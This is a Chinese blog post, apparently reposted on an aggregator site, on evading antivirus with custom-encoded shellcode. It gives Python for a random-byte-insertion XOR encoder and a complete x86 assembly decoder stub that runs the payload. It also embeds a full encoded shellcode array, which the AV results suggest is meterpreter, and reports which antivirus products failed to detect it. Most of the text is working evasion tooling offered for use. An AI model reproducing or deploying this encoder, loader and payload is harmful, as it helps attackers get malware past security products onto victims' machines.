免杀之自定义编码shellcode
Posted -qing-
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了免杀之自定义编码shellcode相关的知识,希望对你有一定的参考价值。
0x03 Custom RBIX Shellcode
来看看第二个编码案例:
随机字节插入异或编码(Random-Byte-Insertion-XOR Encoding,RBIX编码)
思想是将shellcode按3字节长度切分成多个数据块,然后在每个数据块的头部添加一个随机字节(0x01-0xFF),插入随机字节作为异或(XOR)操作的基础值,以上一个操作的结果为基础,与下一个字节继续进行异或操作。
编码实现细节(python)中重要的部分:
定义插入随机字符,并逐字节亦或后申请新的字节数组
rnd=randint(1,255) xor1=(rnd ^ byteArray[0]) xor2=(xor1 ^ byteArray[1]) xor3=(xor2 ^ byteArray[2]) xorArray=bytearray() xorArray.append(rnd) xorArray.append(xor1) xorArray.append(xor2) xorArray.append(xor3)
按3个字节分块,因此这类随机字节在各数据块上各不一样。如果shellcode的大小不是3字节的整数倍,那么我们需要在最后一个数据块中添加NOP填充字节(0x90)。
shellcode=bytearray() shellcode.extend(byteArr) # byteArr is shellcode bytearray encoded=bytearray() tmp=bytearray() final="" if len(shellcode) % 3 == 1: shellcode.append(0x90) shellcode.append(0x90) elif len(shellcode) % 3 == 2: shellcode.append(0x90) for i in range(0,len(shellcode),3): tmp_block=bytearray() tmp_block.append(shellcode[i]) tmp_block.append(shellcode[i+1]) tmp_block.append(shellcode[i+2])
去掉shellcode的"坏字节",这个没什么可说的,msfvenom -b参数也可以达到效果
badchars = ["x00","x0a","x0d","x3b"]
for k in badchars: # Ooops, BadChar found :( Do XOR stuff again with a new random value # This could run into an infinite loop in some cases if payload.find(k) >= 0: payload=xorBytes(origArray)
? root@kali : ./encoder.py
Encoded Shellcode:
0xd5,0x29,0xc1,0x43,0x87,0x87,0x87,0x87,0xa1,0xc1,0x48,0xad,0x32,0x03,0xc3,0xa7,0xc7,0x4c,0x1c,0x2c,0xbd,0x36,0x64,0x68,0x92,0x19,0x4b,0x5f,0x91,0x1a,0x68,0x40,0x64,0x6b,0xdc,0x96,0x73,0x55,0x64,0x9b,0x46,0xea,0xd6,0xb7,0xa2,0xde,0xdc,0xf0,0x7e,0x5e,0x9f,0x50,0x87,0x8a,0x8b,0x4c,0x82,0x60,0x92,0xc0,0x39,0x6e,0xe5,0xb7,0x64,0x74,0xff,0xb5,0x48,0x74,0xff,0xb3,0x05,0x14,0x6c,0x8f,0x6a,0x22,0x23,0xf2,0x25,0x74,0xff,0xa6,0xc5,0xe5,0xe4,0x37,0xab,0x20,0x69,0x71,0x22,0xc1,0xfb,0xb2,0xc2,0x49,0x7d,0xf6,0x60,0x61,0xb7,0x86,0xa3,0x5c,0xf0,0x31,0x2e,0xe1,0xec,0xed,0x3c,0xfb,0xc3,0x23,0x45,0x30,0xc6,0xc5,0x73,0x0e,0xf6,0xcd,0x14,0x69,0x4d,0x38,0x55,0xb1,0xe9,0x62,0x14,0x4c,0x68,0x69,0xd6,0x05,0x63,0xe8,0x38,0x34,0x7f,0xf4,0x54,0x0c,0x10,0x11,0xb5,0x66,0xed,0xe9,0x2b,0xa0,0xa1,0x71,0x04,0x8d,0xc9,0xed,0x1d,0x39,0x62,0x39,0xac,0xcd,0x94,0xce,0x6f,0x3e,0xc1,0x21,0xe6,0xb9,0xe6,0xbc,0xc4,0x4f,0x5d,0xb6,0xf7,0x7a,0x27,0x4d,0xd4,0xd5,0x58,0xdd,0x37,0x85,0x85,0x85,0xe7,0xe7,0xb7,0xdf,0x2e,0x1f,0x94,0xfb,0xf9,0x7e,0x81,0x54,0x91,0x2a,0xda,0x6f,0x39,0x9b,0xcd,0xa5,0xc9,0x6f,0xfa,0x47,0xbb,0x26,0xd9,0x0c,0x23,0x1f,0x19,0x65,0x82,0x88,0x08,0xf3,0x15,0xf5,0x80,0x85,0x44,0xff,0xb8,0xab,0x3c,0x4e,0x21,0x4b,0xb8,0xb8,0xeb,0x14,0x9d,0x48,0x2b,0x4a,0x98,0xf4,0x97,0xb9,0xf3,0x96,0xee,0x8b,0x9b,0x9b,0x0b,0x9b
接下来就是解码,思考一下前面随机插入的随机字符亦或的结果怎么解码回来呢?
很简单的道理,三个数之间任意两两异或结果等于第三个数。
所以解码这里不用关心之前的随机字符,直接再两两异或一遍,并删除附加的字节即可。
这里还是使用汇编解码,jmp-call-pop的方式解决地址不用硬编码的问题。
为了必须出现坏字节,mov寄存器使用xor eax,eax的形式替代,前面也说过了。
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
这里用eax,ebx来存储交换的两个字节,esi,edi分别存储编码解码的地址(指针),ecx,edx分别存储编码解码的循环次数。
xor al,bl将异或结果存储在al中以更好利用存储空间(因为交换的为字节,8位,所以这里使用al,bl)
mov [edi],al就是将解码的shellcode这个字节存储到edi指向的内存单元
写入完成后,edi,esi进行更新,处理下一个数据块(编码时分割的块)
loop0:
mov al, [esi] mov bl, [esi+1] xor al, bl mov [edi], al inc edi inc esi inc ecx
因为编码后每三个字节中插入了一个随机字节,所以这里将经过编码的shellcode按4字节进行切割。最后比较字节块长度和3的结果,如果解码了前三个字节,就跳过第四个字节(解码时候需要删除由编码后的每四个字节为一个数据块中多出来的那个随机插入的字节),继续进行循环解码,
这里的len指的shellcode长度,会在后面定义。最后执行shellcode
cmp cl, 0x3 jne loop0
inc esi
xor ecx, ecx
add dx, 0x4
cmp dx, len
jne loop0
call [esp]
global _start section .text _start: jmp get_shellcode decoder: pop esi push esi mov edi, esi xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx loop0: mov al, [esi] mov bl, [esi+1] xor al, bl mov [edi], al inc edi inc esi inc ecx cmp cl, 0x3 jne loop0 inc esi xor ecx, ecx add dx, 0x4 cmp dx, len jne loop0 call [esp] get_shellcode: call decoder shellcode: db 0xd5,0x29,0xc1,0x43,0x87,0x87,0x87,0x87,0xa1,0xc1,0x48,0xad,0x32,0x03,0xc3,0xa7,0xc7,0x4c,0x1c,0x2c,0xbd,0x36,0x64,0x68,0x92,0x19,0x4b,0x5f,0x91,0x1a,0x68,0x40,0x64,0x6b,0xdc,0x96,0x73,0x55,0x64,0x9b,0x46,0xea,0xd6,0xb7,0xa2,0xde,0xdc,0xf0,0x7e,0x5e,0x9f,0x50,0x87,0x8a,0x8b,0x4c,0x82,0x60,0x92,0xc0,0x39,0x6e,0xe5,0xb7,0x64,0x74,0xff,0xb5,0x48,0x74,0xff,0xb3,0x05,0x14,0x6c,0x8f,0x6a,0x22,0x23,0xf2,0x25,0x74,0xff,0xa6,0xc5,0xe5,0xe4,0x37,0xab,0x20,0x69,0x71,0x22,0xc1,0xfb,0xb2,0xc2,0x49,0x7d,0xf6,0x60,0x61,0xb7,0x86,0xa3,0x5c,0xf0,0x31,0x2e,0xe1,0xec,0xed,0x3c,0xfb,0xc3,0x23,0x45,0x30,0xc6,0xc5,0x73,0x0e,0xf6,0xcd,0x14,0x69,0x4d,0x38,0x55,0xb1,0xe9,0x62,0x14,0x4c,0x68,0x69,0xd6,0x05,0x63,0xe8,0x38,0x34,0x7f,0xf4,0x54,0x0c,0x10,0x11,0xb5,0x66,0xed,0xe9,0x2b,0xa0,0xa1,0x71,0x04,0x8d,0xc9,0xed,0x1d,0x39,0x62,0x39,0xac,0xcd,0x94,0xce,0x6f,0x3e,0xc1,0x21,0xe6,0xb9,0xe6,0xbc,0xc4,0x4f,0x5d,0xb6,0xf7,0x7a,0x27,0x4d,0xd4,0xd5,0x58,0xdd,0x37,0x85,0x85,0x85,0xe7,0xe7,0xb7,0xdf,0x2e,0x1f,0x94,0xfb,0xf9,0x7e,0x81,0x54,0x91,0x2a,0xda,0x6f,0x39,0x9b,0xcd,0xa5,0xc9,0x6f,0xfa,0x47,0xbb,0x26,0xd9,0x0c,0x23,0x1f,0x19,0x65,0x82,0x88,0x08,0xf3,0x15,0xf5,0x80,0x85,0x44,0xff,0xb8,0xab,0x3c,0x4e,0x21,0x4b,0xb8,0xb8,0xeb,0x14,0x9d,0x48,0x2b,0x4a,0x98,0xf4,0x97,0xb9,0xf3,0x96,0xee,0x8b,0x9b,0x9b,0x0b,0x9b len: equ $-shellcode
提取出shellcode:
执行:
查杀结果可以看到360杀毒、360卫士、tx管家都没有报毒,而火绒偏偏报meterpreter类型木马,显然特征部分不是执行的模板也不是解码汇编部分的shellcode,而是那段我们编码过的shellcode。
而编码过的shellcode为随机编码
以上是关于免杀之自定义编码shellcode的主要内容,如果未能解决你的问题,请参考以下文章
渗透测试笔记之Python免杀——两行代码实现免杀!VT查杀率:10/68(思路:将ShellCode和Loader一起分离免杀)
2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践